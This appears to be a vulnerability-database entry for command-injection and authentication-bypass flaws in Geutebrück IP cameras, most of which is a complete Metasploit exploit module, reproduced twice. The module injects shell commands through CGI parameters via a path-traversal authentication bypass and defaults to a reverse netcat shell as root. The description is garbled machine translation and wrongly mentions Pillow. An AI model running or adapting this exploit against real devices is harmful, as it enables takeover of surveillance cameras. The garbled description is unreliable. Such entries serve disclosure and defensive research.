VAR-202109-0850
Vulnerability from variot - Updated: 2025-01-30 20:43Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code. GEUTEBRUCK Provided by the company G-Cam E2 and G-Code The following multiple vulnerabilities exist in. * Lack of authentication for important features (CWE-306) - CVE-2021-33543 ‥ * Command injection (CWE-77) - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 ‥ * Stack-based buffer overflow (CWE-121) - CVE-2021-33545 , CVE-2021-33546 , CVE-2021-33547 , CVE-2021-33549The expected impact depends on each vulnerability, but it may be affected as follows. * Confidential information stolen by a remote third party due to improper default user authentication settings - CVE-2021-33543 ‥ * Arbitrary code executed by command injection by a remote third party - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 ‥ * By a remote third party counter Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33545 ‥ * By a remote third party name Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33546 ‥ * By a remote third party profile Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33547 ‥ * By a remote third party action Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33549. Pillow is a Python-based image processing library. There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. ##
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Geutebruck Multiple Remote Command Execution', 'Description' => %q{ This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user. },
'Author' => [
'Titouan Lazard', # Of RandoriSec - Discovery
'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module
'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-33543'],
['CVE', '2021-33544'],
['CVE', '2021-33548'],
['CVE', '2021-33550'],
['CVE', '2021-33551'],
['CVE', '2021-33552'],
['CVE', '2021-33553'],
['CVE', '2021-33554'],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
[ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
],
'DisclosureDate' => '2021-07-08',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'CVE-2021-33544 - certmngr.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'createselfcert',
'local' => Rex::Text.rand_text_alphanumeric(10..16),
'country' => Rex::Text.rand_text_alphanumeric(2),
'state' => '$(PLACEHOLDER_CMD)',
'organization' => Rex::Text.rand_text_alphanumeric(10..16),
'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),
'commonname' => Rex::Text.rand_text_alphanumeric(10..16),
'days' => Rex::Text.rand_text_numeric(2..4),
'type' => Rex::Text.rand_text_numeric(2..4)
},
'uri' => '/../uapi-cgi/certmngr.cgi'
}
],
[
'CVE-2021-33548 - factory.cgi', {
'http_method' => 'GET',
'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/factory.cgi'
}
],
[
'CVE-2021-33550 - language.cgi', {
'http_method' => 'GET',
'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/language.cgi'
}
],
[
'CVE-2021-33551 - oem.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'set',
'enable' => 'yes',
'environment.lang' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/oem.cgi'
}
],
[
'CVE-2021-33552 - simple_reclistjs.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'get',
'timekey' => Rex::Text.rand_text_numeric(2..4),
'date' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/simple_reclistjs.cgi'
}
],
[
'CVE-2021-33553 - testcmd.cgi', {
'http_method' => 'GET',
'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },
'uri' => '/../uapi-cgi/testcmd.cgi'
}
],
[
'CVE-2021-33554 - tmpapp.cgi', {
'http_method' => 'GET',
'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/tmpapp.cgi'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
},
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK']
}
)
)
end
def firmware res = send_request_cgi( 'method' => 'GET', 'uri' => '/brand.xml' ) unless res print_error('Connection failed!') return false end
unless res&.body && !res.body.empty?
print_error('Empty body in the response!')
return false
end
res_xml = res.get_xml_document
if res_xml.at('//firmware').nil?
print_error('Target did not respond with a XML document containing the "firmware" element!')
return false
end
raw_text = res_xml.at('//firmware').text
if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
else
print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')
false
end
end
def check version = firmware if version == false return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!') end
rex_version = Rex::Version.new(version)
vprint_status("Found Geutebruck version #{rex_version}")
if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit print_status("#{rhost}:#{rport} - Setting up request...")
method = target['http_method']
if method == 'GET'
http_method_vars = 'vars_get'
else
http_method_vars = 'vars_post'
end
http_vars = target['http_vars']
http_vars.each do |(k, v)|
if v.include? 'PLACEHOLDER_CMD'
http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded
end
end
print_status("Sending CMD injection request to #{rhost}:#{rport}")
send_request_cgi(
{
'method' => method,
'uri' => target['uri'],
http_method_vars => http_vars
}
)
print_status('Exploit complete, you should get a shell as the root user!')
end end
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"data": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code. GEUTEBRUCK Provided by the company G-Cam E2 and G-Code The following multiple vulnerabilities exist in. * Lack of authentication for important features (CWE-306) - CVE-2021-33543 \u2025 * Command injection (CWE-77) - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 \u2025 * Stack-based buffer overflow (CWE-121) - CVE-2021-33545 , CVE-2021-33546 , CVE-2021-33547 , CVE-2021-33549The expected impact depends on each vulnerability, but it may be affected as follows. * Confidential information stolen by a remote third party due to improper default user authentication settings - CVE-2021-33543 \u2025 * Arbitrary code executed by command injection by a remote third party - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 \u2025 * By a remote third party counter Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33545 \u2025 * By a remote third party name Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33546 \u2025 * By a remote third party profile Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33547 \u2025 * By a remote third party action Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33549. Pillow is a Python-based image processing library. \nThere is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule \u003c Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n \u0027Name\u0027 =\u003e \u0027Geutebruck Multiple Remote Command Execution\u0027,\n \u0027Description\u0027 =\u003e %q{\n This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder\n and exploits multiple authenticated arbitrary command execution vulnerabilities within\n the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,\n EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions \u003c= 1.12.0.27 as\n well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in\n remote code execution as the root user. \n },\n\n \u0027Author\u0027 =\u003e [\n \u0027Titouan Lazard\u0027, # Of RandoriSec - Discovery\n \u0027Ibrahim Ayadhi\u0027, # Of RandoriSec - Discovery and Metasploit Module\n \u0027S\u00e9bastien Charbonnier\u0027 # Of RandoriSec - Metasploit Module\n ],\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027References\u0027 =\u003e [\n [\u0027CVE\u0027, \u00272021-33543\u0027],\n [\u0027CVE\u0027, \u00272021-33544\u0027],\n [\u0027CVE\u0027, \u00272021-33548\u0027],\n [\u0027CVE\u0027, \u00272021-33550\u0027],\n [\u0027CVE\u0027, \u00272021-33551\u0027],\n [\u0027CVE\u0027, \u00272021-33552\u0027],\n [\u0027CVE\u0027, \u00272021-33553\u0027],\n [\u0027CVE\u0027, \u00272021-33554\u0027],\n [ \u0027URL\u0027, \u0027http://geutebruck.com\u0027 ],\n [ \u0027URL\u0027, \u0027https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/\u0027],\n [ \u0027URL\u0027, \u0027https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\u0027]\n ],\n \u0027DisclosureDate\u0027 =\u003e \u00272021-07-08\u0027,\n \u0027Privileged\u0027 =\u003e true,\n \u0027Platform\u0027 =\u003e [\u0027unix\u0027, \u0027linux\u0027],\n \u0027Arch\u0027 =\u003e [ARCH_CMD],\n \u0027Targets\u0027 =\u003e [\n [\n \u0027CVE-2021-33544 - certmngr.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027createselfcert\u0027,\n \u0027local\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027country\u0027 =\u003e Rex::Text.rand_text_alphanumeric(2),\n \u0027state\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027,\n \u0027organization\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027organizationunit\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027commonname\u0027 =\u003e Rex::Text.rand_text_alphanumeric(10..16),\n \u0027days\u0027 =\u003e Rex::Text.rand_text_numeric(2..4),\n \u0027type\u0027 =\u003e Rex::Text.rand_text_numeric(2..4)\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/certmngr.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33548 - factory.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027preserve\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/factory.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33550 - language.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027date\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/language.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33551 - oem.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027set\u0027,\n \u0027enable\u0027 =\u003e \u0027yes\u0027,\n \u0027environment.lang\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/oem.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33552 - simple_reclistjs.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e {\n \u0027action\u0027 =\u003e \u0027get\u0027,\n \u0027timekey\u0027 =\u003e Rex::Text.rand_text_numeric(2..4),\n \u0027date\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027\n },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/simple_reclistjs.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33553 - testcmd.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027command\u0027 =\u003e \u0027PLACEHOLDER_CMD\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/testcmd.cgi\u0027\n }\n ],\n [\n \u0027CVE-2021-33554 - tmpapp.cgi\u0027, {\n \u0027http_method\u0027 =\u003e \u0027GET\u0027,\n \u0027http_vars\u0027 =\u003e { \u0027appfile.filename\u0027 =\u003e \u0027$(PLACEHOLDER_CMD)\u0027 },\n \u0027uri\u0027 =\u003e \u0027/../uapi-cgi/tmpapp.cgi\u0027\n }\n ]\n ],\n \u0027DefaultTarget\u0027 =\u003e 0,\n \u0027DefaultOptions\u0027 =\u003e {\n \u0027PAYLOAD\u0027 =\u003e \u0027cmd/unix/reverse_netcat_gaping\u0027\n },\n \u0027Notes\u0027 =\u003e {\n \u0027Stability\u0027 =\u003e [\u0027CRASH_SAFE\u0027],\n \u0027Reliability\u0027 =\u003e [\u0027REPEATABLE_SESSION\u0027],\n \u0027SideEffects\u0027 =\u003e [\u0027ARTIFACTS_ON_DISK\u0027]\n }\n )\n )\n end\n\n def firmware\n res = send_request_cgi(\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027uri\u0027 =\u003e \u0027/brand.xml\u0027\n )\n unless res\n print_error(\u0027Connection failed!\u0027)\n return false\n end\n\n unless res\u0026.body \u0026\u0026 !res.body.empty?\n print_error(\u0027Empty body in the response!\u0027)\n return false\n end\n\n res_xml = res.get_xml_document\n if res_xml.at(\u0027//firmware\u0027).nil?\n print_error(\u0027Target did not respond with a XML document containing the \"firmware\" element!\u0027)\n return false\n end\n raw_text = res_xml.at(\u0027//firmware\u0027).text\n if raw_text \u0026\u0026 raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)\n raw_text.match(/\\d\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n else\n print_error(\u0027Target responded with a XML document containing the \"firmware\" element but its not a valid version string!\u0027)\n false\n end\n end\n\n def check\n version = firmware\n if version == false\n return CheckCode::Unknown(\u0027Target did not respond with a valid XML response that we could retrieve the version from!\u0027)\n end\n\n rex_version = Rex::Version.new(version)\n vprint_status(\"Found Geutebruck version #{rex_version}\")\n if rex_version \u003c= Rex::Version.new(\u00271.12.0.27\u0027) || rex_version == Rex::Version.new(\u00271.12.13.2\u0027) || rex_version == Rex::Version.new(\u00271.12.14.5\u0027)\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end\n\n def exploit\n print_status(\"#{rhost}:#{rport} - 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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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